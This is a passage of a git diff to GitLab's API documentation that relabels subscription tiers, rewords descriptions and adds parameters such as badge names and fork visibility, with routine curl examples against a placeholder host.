replaced by the last project's commit SHA. +<!-- vale gitlab.Spelling = YES --> ## List all badges of a project Gets a list of a project's badges and its group badges. @@ -103,9 +106,10 @@ POST /projects/:id/badges | `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user | | `link_url` | string | yes | URL of the badge link | | `image_url` | string | yes | URL of the badge image | +| `name` | string | no | Name of the badge | ```shell -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --data "link_url=https://gitlab.com/gitlab-org/gitlab-foss/commits/master&image_url=https://shields.io/my/badge1&position=0" "https://gitlab.example.com/api/v4/projects/:id/badges" +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --data "link_url=https://gitlab.com/gitlab-org/gitlab-foss/commits/master&image_url=https://shields.io/my/badge1&name=mybadge" "https://gitlab.example.com/api/v4/projects/:id/badges" ``` Example response: @@ -113,6 +117,7 @@ Example response: ```json { "id": 1, + "name": "mybadge", "link_url": "https://gitlab.com/gitlab-org/gitlab-foss/commits/master", "image_url": "https://shields.io/my/badge1", "rendered_link_url": "https://gitlab.com/gitlab-org/gitlab-foss/commits/master", @@ -135,6 +140,7 @@ PUT /projects/:id/badges/:badge_id | `badge_id` | integer | yes | The badge ID | | `link_url` | string | no | URL of the badge link | | `image_url` | string | no | URL of the badge image | +| `name` | string | no | Name of the badge | ```shell curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/:id/badges/:badge_id" @@ -145,6 +151,7 @@ Example response: ```json { "id": 1, + "name": "mybadge", "link_url": "https://gitlab.com/gitlab-org/gitlab-foss/commits/master", "image_url": "https://shields.io/my/badge", "rendered_link_url": "https://gitlab.com/gitlab-org/gitlab-foss/commits/master", diff --git a/doc/api/project_clusters.md b/doc/api/project_clusters.md index 3cc8cd07923..a431e754774 100644 --- a/doc/api/project_clusters.md +++ b/doc/api/project_clusters.md @@ -4,7 +4,7 @@ group: Configure info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Project clusters API +# Project clusters API **(FREE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/23922) in GitLab 11.7. diff --git a/doc/api/project_import_export.md b/doc/api/project_import_export.md index 0711cc8abd6..cd8adf49f1d 100644 --- a/doc/api/project_import_export.md +++ b/doc/api/project_import_export.md @@ -5,14 +5,14 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference, api --- -# Project import/export API +# Project import/export API **(FREE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41899) in GitLab 10.6. See also: - [Project import/export documentation](../user/project/settings/import_export.md). -- [Project import/export administration Rake tasks](../administration/raketasks/project_import_export.md). **(CORE ONLY)** +- [Project import/export administration Rake tasks](../administration/raketasks/project_import_export.md). **(FREE SELF)** ## Schedule an export @@ -194,7 +194,7 @@ requests.post(url, headers=headers, data=data, files=files) NOTE: The maximum import file size can be set by the Administrator, default is `0` (unlimited).. -As an administrator, you can modify the maximum import file size. To do so, use the `max_import_size` option in the [Application settings API](settings.md#change-application-settings) or the [Admin UI](../user/admin_area/settings/account_and_limit_settings.md). +As an administrator, you can modify the maximum import file size. To do so, use the `max_import_size` option in the [Application settings API](settings.md#change-application-settings) or the [Admin UI](../user/admin_area/settings/account_and_limit_settings.md). Default [modified](https://gitlab.com/gitlab-org/gitlab/-/issues/251106) from 50MB to 0 in GitLab 13.8. ## Import status diff --git a/doc/api/project_level_variables.md b/doc/api/project_level_variables.md index 413d89950cd..8ef887675e9 100644 --- a/doc/api/project_level_variables.md +++ b/doc/api/project_level_variables.md @@ -17,7 +17,7 @@ GET /projects/:id/variables | Attribute | Type | required | Description | |-----------|---------|----------|---------------------| -| `id` | integer/string | yes | The ID of a project or [urlencoded NAMESPACE/PROJECT_NAME of the project](README.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID of a project or [URL-encoded NAMESPACE/PROJECT_NAME of the project](README.md#namespaced-path-encoding) owned by the authenticated user | ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/variables" @@ -48,7 +48,7 @@ GET /projects/:id/variables/:key | Attribute | Type | required | Description | |-----------|---------|----------|-----------------------| -| `id` | integer/string | yes | The ID of a project or [urlencoded NAMESPACE/PROJECT_NAME of the project](README.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID of a project or [URL-encoded NAMESPACE/PROJECT_NAME of the project](README.md#namespaced-path-encoding) owned by the authenticated user | | `key` | string | yes | The `key` of a variable | | `filter` | hash | no | Available filters: `[environment_scope]`. See the [`filter` parameter details](#the-filter-parameter). | @@ -76,7 +76,7 @@ POST /projects/:id/variables | Attribute | Type | required | Description | |---------------------|---------|----------|-----------------------| -| `id` | integer/string | yes | The ID of a project or [urlencoded NAMESPACE/PROJECT_NAME of the project](README.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID of a project or [URL-encoded NAMESPACE/PROJECT_NAME of the project](README.md#namespaced-path-encoding) owned by the authenticated user | | `key` | string | yes | The `key` of a variable; must have no more than 255 characters; only `A-Z`, `a-z`, `0-9`, and `_` are allowed | | `value` | string | yes | The `value` of a variable | | `variable_type` | string | no | The type of a variable. Available types are: `env_var` (default) and `file` | @@ -109,7 +109,7 @@ PUT /projects/:id/variables/:key | Attribute | Type | required | Description | |---------------------|---------|----------|-------------------------| -| `id` | integer/string | yes | The ID of a project or [urlencoded NAMESPACE/PROJECT_NAME of the project](README.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID of a project or [URL-encoded NAMESPACE/PROJECT_NAME of the project](README.md#namespaced-path-encoding) owned by the authenticated user | | `key` | string | yes | The `key` of a variable | | `value` | string | yes | The `value` of a variable | | `variable_type` | string | no | The type of a variable. Available types are: `env_var` (default) and `file` | @@ -143,7 +143,7 @@ DELETE /projects/:id/variables/:key | Attribute | Type | required | Description | |-----------|---------|----------|-------------------------| -| `id` | integer/string | yes | The ID of a project or [urlencoded NAMESPACE/PROJECT_NAME of the project](README.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID of a project or [URL-encoded NAMESPACE/PROJECT_NAME of the project](README.md#namespaced-path-encoding) owned by the authenticated user | | `key` | string | yes | The `key` of a variable | | `filter` | hash | no | Available filters: `[environment_scope]`. See the [`filter` parameter details](#the-filter-parameter). | diff --git a/doc/api/project_repository_storage_moves.md b/doc/api/project_repository_storage_moves.md index 52c357ca32a..be922b441d6 100644 --- a/doc/api/project_repository_storage_moves.md +++ b/doc/api/project_repository_storage_moves.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# Project repository storage moves API **(CORE ONLY)** +# Project repository storage moves API **(FREE SELF)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/31285) in GitLab 13.0. @@ -30,11 +30,10 @@ read-only. Please try again later.` message if they try to push new commits. This API requires you to [authenticate yourself](README.md#authentication) as an administrator. -Snippet repositories can be moved using the [Snippet repository storage moves API](snippet_repository_storage_moves.md). +For other repository types see: -## Limitations - -- Group-level wikis [can't be moved with the API](https://gitlab.com/gitlab-org/gitlab/-/issues/219003). +- [Snippet repository storage moves API](snippet_repository_storage_moves.md). +- [Group repository storage moves API](group_repository_storage_moves.md). ## Retrieve all project repository storage moves diff --git a/doc/api/project_snippets.md b/doc/api/project_snippets.md index d264e68e96a..c5adf361fb6 100644 --- a/doc/api/project_snippets.md +++ b/doc/api/project_snippets.md @@ -225,8 +225,8 @@ Parameters: - `id` (required) - The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user - `snippet_id` (required) - The ID of a project's snippet -- `ref` (required) - The name of a branch, tag or commit e.g. master -- `file_path` (required) - The URL-encoded path to the file, e.g. snippet%2Erb +- `ref` (required) - The name of a branch, tag or commit, such as `master` +- `file_path` (required) - The URL-encoded path to the file, such as `snippet%2Erb` Example request: @@ -239,7 +239,7 @@ curl "https://gitlab.com/api/v4/projects/1/snippets/2/files/master/snippet%2Erb/ > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/29508) in GitLab 9.4. -Available only for admins. +Available only for users with Administrator [permissions](../user/permissions.md). ```plaintext GET /projects/:id/snippets/:snippet_id/user_agent_detail diff --git a/doc/api/project_statistics.md b/doc/api/project_statistics.md index 984720ed56f..6a987b60f64 100644 --- a/doc/api/project_statistics.md +++ b/doc/api/project_statistics.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference, api --- -# Project statistics API +# Project statistics API **(FREE)** Every API call to [project](../user/project/index.md) statistics must be authenticated. diff --git a/doc/api/project_templates.md b/doc/api/project_templates.md index d75047d6cb3..6251d31660c 100644 --- a/doc/api/project_templates.md +++ b/doc/api/project_templates.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference, api --- -# Project templates API +# Project templates API **(FREE)** This API is a project-specific version of these endpoints: @@ -34,7 +34,7 @@ GET /projects/:id/templates/:type | Attribute | Type | Required | Description | | ---------- | ------ | -------- | ----------- | | `id` | integer / string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) | -| `type` | string | yes| The type `(dockerfiles|gitignores|gitlab_ci_ymls|licenses|issues|merge_requests)` of the template | +| `type` | string | yes | The type `(dockerfiles|gitignores|gitlab_ci_ymls|licenses|issues|merge_requests)` of the template | Example response (licenses): @@ -94,14 +94,15 @@ Example response (licenses): ## Get one template of a particular type ```plaintext -GET /projects/:id/templates/:type/:key +GET /projects/:id/templates/:type/:name ``` | Attribute | Type | Required | Description | | ---------- | ------ | -------- | ----------- | | `id` | integer / string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) | | `type` | string | yes| The type `(dockerfiles|gitignores|gitlab_ci_ymls|licenses|issues|merge_requests)` of the template | -| `key` | string | yes | The key of the template, as obtained from the collection endpoint | +| `name` | string | yes | The key of the template, as obtained from the collection endpoint | +| `source_template_project_id` | integer | no | The project ID where a given template is being stored. This is useful when multiple templates from different projects have the same name. If multiple templates have the same name, the match from `closest ancestor` is returned if `source_template_project_id` is not specified | | `project` | string | no | The project name to use when expanding placeholders in the template. Only affects licenses | | `fullname` | string | no | The full name of the copyright holder to use when expanding placeholders in the template. Only affects licenses | diff --git a/doc/api/projects.md b/doc/api/projects.md index f9a4b3ba55e..321a95af8b5 100644 --- a/doc/api/projects.md +++ b/doc/api/projects.md @@ -298,11 +298,11 @@ When the user is authenticated and `simple` is not set this returns something li ``` NOTE: -For users of GitLab [Silver, Premium, or higher](https://about.gitlab.com/pricing/), +For users of [GitLab Premium or higher](https://about.gitlab.com/pricing/), the `marked_for_deletion_at` attribute has been deprecated, and is removed in API v5 in favor of the `marked_for_deletion_on` attribute. -Users of GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) +Users of [GitLab Premium or higher](https://about.gitlab.com/pricing/) can also see the `approvals_before_merge` parameter: ```json @@ -933,7 +933,7 @@ GET /projects/:id } ``` -Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) +Users of [GitLab Premium or higher](https://about.gitlab.com/pricing/) can also see the `approvals_before_merge` parameter: ```json @@ -1053,7 +1053,7 @@ POST /projects |-------------------------------------------------------------|---------|------------------------|-------------| | `allow_merge_on_skipped_pipeline` | boolean | **{dotted-circle}** No | Set whether or not merge requests can be merged with skipped jobs. | | `analytics_access_level` | string | no | One of `disabled`, `private` or `enabled` | -| `approvals_before_merge` **(STARTER)** | integer | **{dotted-circle}** No | How many approvers should approve merge requests by default. | +| `approvals_before_merge` **(PREMIUM)** | integer | **{dotted-circle}** No | How many approvers should approve merge requests by default. | | `auto_cancel_pending_pipelines` | string | **{dotted-circle}** No | Auto-cancel pending pipelines. This isn't a boolean, but enabled/disabled. | | `auto_devops_deploy_strategy` | string | **{dotted-circle}** No | Auto Deploy strategy (`continuous`, `manual` or `timed_incremental`). | | `auto_devops_enabled` | boolean | **{dotted-circle}** No | Enable Auto DevOps for this project. | @@ -1081,8 +1081,8 @@ POST /projects | `merge_method` | string | **{dotted-circle}** No | Set the [merge method](#project-merge-method) used. | | `merge_requests_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. | | `merge_requests_enabled` | boolean | **{dotted-circle}** No | _(Deprecated)_ Enable merge requests for this project. Use `merge_requests_access_level` instead. | -| `mirror_trigger_builds` **(STARTER)** | boolean | **{dotted-circle}** No | Pull mirroring triggers builds. | -| `mirror` **(STARTER)** | boolean | **{dotted-circle}** No | Enables pull mirroring in a project. | +| `mirror_trigger_builds` **(PREMIUM)** | boolean | **{dotted-circle}** No | Pull mirroring triggers builds. | +| `mirror` **(PREMIUM)** | boolean | **{dotted-circle}** No | Enables pull mirroring in a project. | | `name` | string | **{check-circle}** Yes (if path isn't provided) | The name of the new project. Equals path if not provided. | | `namespace_id` | integer | **{dotted-circle}** No | Namespace for the new project (defaults to the current user's namespace). | | `operations_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. | @@ -1104,7 +1104,7 @@ POST /projects | `snippets_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. | | `snippets_enabled` | boolean | **{dotted-circle}** No | _(Deprecated)_ Enable snippets for this project. Use `snippets_access_level` instead. | | `tag_list` | array | **{dotted-circle}** No | The list of tags for a project; put array of tags, that should be finally assigned to a project. | -| `template_name` | string | **{dotted-circle}** No | When used without `use_custom_template`, name of a [built-in project template](../gitlab-basics/create-project.md#built-in-templates). When used with `use_custom_template`, name of a custom project template. | +| `template_name` | string | **{dotted-circle}** No | When used without `use_custom_template`, name of a [built-in project template](../user/project/working_with_projects.md#built-in-templates). When used with `use_custom_template`, name of a custom project template. | | `template_project_id` **(PREMIUM)** | integer | **{dotted-circle}** No | When used with `use_custom_template`, project ID of a custom project template. This is preferable to using `template_name` since `template_name` may be ambiguous. | | `use_custom_template` **(PREMIUM)** | boolean | **{dotted-circle}** No | Use either custom [instance](../user/admin_area/custom_project_templates.md) or [group](../user/group/custom_project_templates.md) (with `group_with_project_templates_id`) project template. | | `visibility` | string | **{dotted-circle}** No | See [project visibility level](#project-visibility-level). | @@ -1127,7 +1127,7 @@ POST /projects/user/:user_id |-------------------------------------------------------------|---------|------------------------|-------------| | `allow_merge_on_skipped_pipeline` | boolean | **{dotted-circle}** No | Set whether or not merge requests can be merged with skipped jobs. | | `analytics_access_level` | string | no | One of `disabled`, `private` or `enabled` | -| `approvals_before_merge` **(STARTER)** | integer | **{dotted-circle}** No | How many approvers should approve merge requests by default. | +| `approvals_before_merge` **(PREMIUM)** | integer | **{dotted-circle}** No | How many approvers should approve merge requests by default. | | `auto_cancel_pending_pipelines` | string | **{dotted-circle}** No | Auto-cancel pending pipelines. This isn't a boolean, but enabled/disabled. | | `auto_devops_deploy_strategy` | string | **{dotted-circle}** No | Auto Deploy strategy (`continuous`, `manual` or `timed_incremental`). | | `auto_devops_enabled` | boolean | **{dotted-circle}** No | Enable Auto DevOps for this project. | @@ -1153,8 +1153,8 @@ POST /projects/user/:user_id | `merge_method` | string | **{dotted-circle}** No | Set the [merge method](#project-merge-method) used. | | `merge_requests_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. | | `merge_requests_enabled` | boolean | **{dotted-circle}** No | _(Deprecated)_ Enable merge requests for this project. Use `merge_requests_access_level` instead. | -| `mirror_trigger_builds` **(STARTER)** | boolean | **{dotted-circle}** No | Pull mirroring triggers builds. | -| `mirror` **(STARTER)** | boolean | **{dotted-circle}** No | Enables pull mirroring in a project. | +| `mirror_trigger_builds` **(PREMIUM)** | boolean | **{dotted-circle}** No | Pull mirroring triggers builds. | +| `mirror` **(PREMIUM)** | boolean | **{dotted-circle}** No | Enables pull mirroring in a project. | | `name` | string | **{check-circle}** Yes | The name of the new project. | | `namespace_id` | integer | **{dotted-circle}** No | Namespace for the new project (defaults to the current user's namespace). | | `operations_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. | @@ -1177,7 +1177,7 @@ POST /projects/user/:user_id | `snippets_enabled` | boolean | **{dotted-circle}** No | _(Deprecated)_ Enable snippets for this project. Use `snippets_access_level` instead. | | `suggestion_commit_message` | string | **{dotted-circle}** No | The commit message used to apply merge request suggestions. | | `tag_list` | array | **{dotted-circle}** No | The list of tags for a project; put array of tags, that should be finally assigned to a project. | -| `template_name` | string | **{dotted-circle}** No | When used without `use_custom_template`, name of a [built-in project template](../gitlab-basics/create-project.md#built-in-templates). When used with `use_custom_template`, name of a custom project template. | +| `template_name` | string | **{dotted-circle}** No | When used without `use_custom_template`, name of a [built-in project template](../user/project/working_with_projects.md#built-in-templates). When used with `use_custom_template`, name of a custom project template. | | `use_custom_template` **(PREMIUM)** | boolean | **{dotted-circle}** No | Use either custom [instance](../user/admin_area/custom_project_templates.md) or [group](../user/group/custom_project_templates.md) (with `group_with_project_templates_id`) project template. | | `user_id` | integer | **{check-circle}** Yes | The user ID of the project owner. | | `visibility` | string | **{dotted-circle}** No | See [project visibility level](#project-visibility-level). | @@ -1200,7 +1200,7 @@ PUT /projects/:id |-------------------------------------------------------------|----------------|------------------------|-------------| | `allow_merge_on_skipped_pipeline` | boolean | **{dotted-circle}** No | Set whether or not merge requests can be merged with skipped jobs. | | `analytics_access_level` | string | no | One of `disabled`, `private` or `enabled` | -| `approvals_before_merge` **(STARTER)** | integer | **{dotted-circle}** No | How many approvers should approve merge request by default. | +| `approvals_before_merge` **(PREMIUM)** | integer | **{dotted-circle}** No | How many approvers should approve merge request by default. | | `auto_cancel_pending_pipelines` | string | **{dotted-circle}** No | Auto-cancel pending pipelines. This isn't a boolean, but enabled/disabled. | | `auto_devops_deploy_strategy` | string | **{dotted-circle}** No | Auto Deploy strategy (`continuous`, `manual`, or `timed_incremental`). | | `auto_devops_enabled` | boolean | **{dotted-circle}** No | Enable Auto DevOps for this project. | @@ -1229,15 +1229,15 @@ PUT /projects/:id | `merge_method` | string | **{dotted-circle}** No | Set the [merge method](#project-merge-method) used. | | `merge_requests_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. | | `merge_requests_enabled` | boolean | **{dotted-circle}** No | _(Deprecated)_ Enable merge requests for this project. Use `merge_requests_access_level` instead. | -| `mirror_overwrites_diverged_branches` **(STARTER)** | boolean | **{dotted-circle}** No | Pull mirror overwrites diverged branches. | -| `mirror_trigger_builds` **(STARTER)** | boolean | **{dotted-circle}** No | Pull mirroring triggers builds. | -| `mirror_user_id` **(STARTER)** | integer | **{dotted-circle}** No | User responsible for all the activity surrounding a pull mirror event. _(admins only)_ | -| `mirror` **(STARTER)** | boolean | **{dotted-circle}** No | Enables pull mirroring in a project. | +| `mirror_overwrites_diverged_branches` **(PREMIUM)** | boolean | **{dotted-circle}** No | Pull mirror overwrites diverged branches. | +| `mirror_trigger_builds` **(PREMIUM)** | boolean | **{dotted-circle}** No | Pull mirroring triggers builds. | +| `mirror_user_id` **(PREMIUM)** | integer | **{dotted-circle}** No | User responsible for all the activity surrounding a pull mirror event. _(admins only)_ | +| `mirror` **(PREMIUM)** | boolean | **{dotted-circle}** No | Enables pull mirroring in a project. | | `name` | string | **{dotted-circle}** No | The name of the project. | | `operations_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. | | `only_allow_merge_if_all_discussions_are_resolved` | boolean | **{dotted-circle}** No | Set whether merge requests can only be merged when all the discussions are resolved. | | `only_allow_merge_if_pipeline_succeeds` | boolean | **{dotted-circle}** No | Set whether merge requests can only be merged with successful jobs. | -| `only_mirror_protected_branches` **(STARTER)** | boolean | **{dotted-circle}** No | Only mirror protected branches. | +| `only_mirror_protected_branches` **(PREMIUM)** | boolean | **{dotted-circle}** No | Only mirror protected branches. | | `packages_enabled` | boolean | **{dotted-circle}** No | Enable or disable packages repository feature. | | `pages_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, `enabled`, or `public`. | | `requirements_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, `enabled` or `public` | @@ -1280,6 +1280,8 @@ POST /projects/:id/fork | `namespace_path` | string | **{dotted-circle}** No | The path of the namespace that the project is forked to. | | `namespace` | integer/string | **{dotted-circle}** No | _(Deprecated)_ The ID or path of the namespace that the project is forked to. | | `path` | string | **{dotted-circle}** No | The path assigned to the resultant project after forking. | +| `description` | string | **{dotted-circle}** No | The description assigned to the resultant project after forking. | +| `visibility` | string | **{dotted-circle}** No | The [visibility level](#project-visibility-level) assigned to the resultant project after forking. | ## List Forks of a project @@ -1875,7 +1877,7 @@ This endpoint: - Deletes a project including all associated resources (including issues and merge requests). - From [GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/issues/220382) on - [Premium or Silver](https://about.gitlab.com/pricing/) or higher tiers, group + [Premium or higher](https://about.gitlab.com/pricing/) tiers, group admins can [configure](../user/group/index.md#enabling-delayed-project-removal) projects within a group to be deleted after a delayed period. When enabled, actual deletion happens after the number of days specified in the @@ -2185,8 +2187,6 @@ curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/a ## Start the Housekeeping task for a project -> Introduced in GitLab 9.0. - ```plaintext POST /projects/:id/housekeeping ``` @@ -2195,9 +2195,9 @@ POST /projects/:id/housekeeping |-----------|----------------|------------------------|-------------| | `id` | integer/string | **{check-circle}** Yes | The ID of the project or NAMESPACE/PROJECT_NAME. | -## Push Rules **(STARTER)** +## Push Rules **(PREMIUM)** -### Get project push rules **(STARTER)** +### Get project push rules **(PREMIUM)** Get the [push rules](../push_rules/push_rules.md#enabling-push-rules) of a project. @@ -2229,7 +2229,7 @@ GET /projects/:id/push_rule } ``` -Users of GitLab [Premium, Silver, or higher](https://about.gitlab.com/pricing/) +Users of [GitLab Premium or higher](https://about.gitlab.com/pricing/) can also see the `commit_committer_check` and `reject_unsigned_commits` parameters: @@ -2243,7 +2243,7 @@ parameters: } ``` -### Add project push rule **(STARTER)** +### Add project push rule **(PREMIUM)** Adds a push rule to a specified project. @@ -2266,7 +2266,7 @@ POST /projects/:id/push_rule | `prevent_secrets` | boolean | **{dotted-circle}** No | GitLab rejects any files that are likely to contain secrets. | | `reject_unsigned_commits` **(PREMIUM)** | boolean | **{dotted-circle}** No | Reject commit when it's not signed through GPG. | -### Edit project push rule **(STARTER)** +### Edit project push rule **(PREMIUM)** Edits a push rule for a specified project. @@ -2291,7 +2291,7 @@ PUT /projects/:id/push_rule ### Delete project push rule -> Introduced in [GitLab Starter](https://about.gitlab.com/pricing/) 9.0. +> - Moved to GitLab Premium in 13.9. Removes a push rule from a project. This is an idempotent method and can be called multiple times. Either the push rule is available or not. @@ -2438,9 +2438,10 @@ Read more in the [Project import/export](project_import_export.md) documentation Read more in the [Project members](members.md) documentation. -## Configure pull mirroring for a project **(STARTER)** +## Configure pull mirroring for a project **(PREMIUM)** -> Introduced in [GitLab Starter](https://about.gitlab.com/pricing/) 11.2. +> - Introduced in GitLab 11. +> - Moved to GitLab Premium in 13.9. Configure pull mirroring while [creating a new project](#create-project) or [updating an existing project](#edit-project) using the API if the remote repository is publicly accessible or via `username/password` authentication. In case your HTTP repository is not publicly accessible, you can add the authentication information to the URL: `https://username:password@gitlab.company.com/group/project.git`, where password is a [personal access token](../user/profile/personal_access_tokens.md) with the API scope enabled. @@ -2450,9 +2451,9 @@ The relevant API parameters to update are: - `mirror`: Enables pull mirroring on project when set to `true`. - `only_mirror_protected_branches`: Set to `true` for protected branches. -## Start the pull mirroring process for a Project **(STARTER)** +## Start the pull mirroring process for a Project **(PREMIUM)** -> Introduced in [GitLab Starter](https://about.gitlab.com/pricing/) 10.3. +> - Moved to GitLab Premium in 13.9. ```plaintext POST /projects/:id/mirror/pull diff --git a/doc/api/protected_branches.md b/doc/api/protected_branches.md index 1dd15231dd8..12ba40d5df5 100644 --- a/doc/api/protected_branches.md +++ b/doc/api/protected_branches.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference, api --- -# Protected branches API +# Protected branches API **(FREE)** > Introduced in GitLab 9.5. @@ -62,7 +62,7 @@ Example response: ] ``` -Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) will also see +Users on GitLab Premium or higher also see the `user_id` and `group_id` parameters: Example response: @@ -133,7 +133,7 @@ Example response: } ``` -Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) will also see +Users on GitLab Premium or higher also see the `user_id` and `group_id` parameters: Example response: @@ -182,9 +182,9 @@ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitla | `push_access_level` | string | no | Access levels allowed to push (defaults: `40`, maintainer access level) | | `merge_access_level` | string | no | Access levels allowed to merge (defaults: `40`, maintainer access level) | | `unprotect_access_level` | string | no | Access levels allowed to unprotect (defaults: `40`, maintainer access level) | -| `allowed_to_push` | array | no | **(STARTER)** Array of access levels allowed to push, with each described by a hash | -| `allowed_to_merge` | array | no | **(STARTER)** Array of access levels allowed to merge, with each described by a hash | -| `allowed_to_unprotect` | array | no | **(STARTER)** Array of access levels allowed to unprotect, with each described by a hash | +| `allowed_to_push` | array | no | **(PREMIUM)** Array of access levels allowed to push, with each described by a hash | +| `allowed_to_merge` | array | no | **(PREMIUM)** Array of access levels allowed to merge, with each described by a hash | +| `allowed_to_unprotect` | array | no | **(PREMIUM)** Array of access levels allowed to unprotect, with each described by a hash | | `code_owner_approval_required` | boolean | no | **(PREMIUM)** Prevent pushes to this branch if it matches an item in the [`CODEOWNERS` file](../user/project/code_owners.md). (defaults: false) | Example response: @@ -215,7 +215,7 @@ Example response: } ``` -Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) will also see +Users on GitLab Premium or higher also see the `user_id` and `group_id` parameters: Example response: @@ -252,7 +252,7 @@ Example response: } ``` -### Example with user / group level access **(STARTER)** +### Example with user / group level access **(PREMIUM)** Elements in the `allowed_to_push` / `allowed_to_merge` / `allowed_to_unprotect` array should take the form `{user_id: integer}`, `{group_id: integer}` or `{access_level: integer}`. Each user must have access to the project and each group must [have this project shared](../user/project/members/share_project_with_groups.md). These access levels allow [more granular control over protected branch access](../user/project/protected_branches.md#restricting-push-and-merge-access-to-certain-users) and were [added to the API](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/3516) in GitLab 10.3 EE. @@ -295,7 +295,9 @@ Example response: } ``` -### Example with allow to push and allow to merge access **(STARTER)** +### Example with allow to push and allow to merge access **(PREMIUM)** + +> Moved to GitLab Premium in 13.9. Example request: @@ -375,7 +377,7 @@ curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://git ## Require code owner approvals for a single branch -Update the "code owner approval required" option for the given protected branch protected branch. +Update the "code owner approval required" option for the given protected branch. ```plaintext PATCH /projects/:id/protected_branches/:name diff --git a/doc/api/protected_tags.md b/doc/api/protected_tags.md index 87bd7043121..63fa7183aab 100644 --- a/doc/api/protected_tags.md +++ b/doc/api/protected_tags.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference, api --- -# Protected tags API +# Protected tags API **(FREE)** > Introduced in GitLab 11.3. diff --git a/doc/api/releases/index.md b/doc/api/releases/index.md index a58d6246a63..be9512ed0e0 100644 --- a/doc/api/releases/index.md +++ b/doc/api/releases/index.md @@ -486,7 +486,7 @@ Example response: } ``` -### Group milestones **(PREMIUM ONLY)** +### Group milestones **(PREMIUM SELF)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/235391) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.5. @@ -495,7 +495,7 @@ array for [Create a release](#create-a-release) and [Update a release](#update-a API calls. Only milestones associated with the project's group may be specified, and adding milestones for ancestor groups raises an error. -## Collect release evidence **(PREMIUM ONLY)** +## Collect release evidence **(PREMIUM SELF)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/199065) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.10. diff --git a/doc/api/remote_mirrors.md b/doc/api/remote_mirrors.md index c40aed534d5..638d4a3b917 100644 --- a/doc/api/remote_mirrors.md +++ b/doc/api/remote_mirrors.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference, api --- -# Project remote mirrors API +# Project remote mirrors API **(FREE)** [Push mirrors](../user/project/repository/repository_mirroring.md#pushing-to-a-remote-repository) defined on a project's repository settings are called "remote mirrors", and the diff --git a/doc/api/repositories.md b/doc/api/repositories.md index efdf010e072..b0b3160e075 100644 --- a/doc/api/repositories.md +++ b/doc/api/repositories.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference, api --- -# Repositories API +# Repositories API **(FREE)** ## List repository tree @@ -18,14 +18,15 @@ This command provides essentially the same functionality as the `git ls-tree` co GET /projects/:id/repository/tree ``` -Parameters: +Supported attributes: -- `id` (required) - The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user -- `path` (optional) - The path inside repository. Used to get content of subdirectories -- `ref` (optional) - The name of a repository branch or tag or if not given the default branch -- `recursive` (optional) - Boolean value used to get a recursive tree (false by default) -- `per_page` (optional) - Number of results to show per page. If not specified, defaults to `20`. - Read more on [pagination](README.md#pagination). +| Attribute | Type | Required | Description | +| :---------- | :------------- | :------- | :---------- | +| `id` | integer/string | no | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. | +| `path` | string | yes | The path inside repository. Used to get content of subdirectories. | +| `ref` | string | yes | The name of a repository branch or tag or if not given the default branch. | +| `recursive` | boolean | yes | Boolean value used to get a recursive tree (false by default). | +| `per_page` | integer | yes | Number of 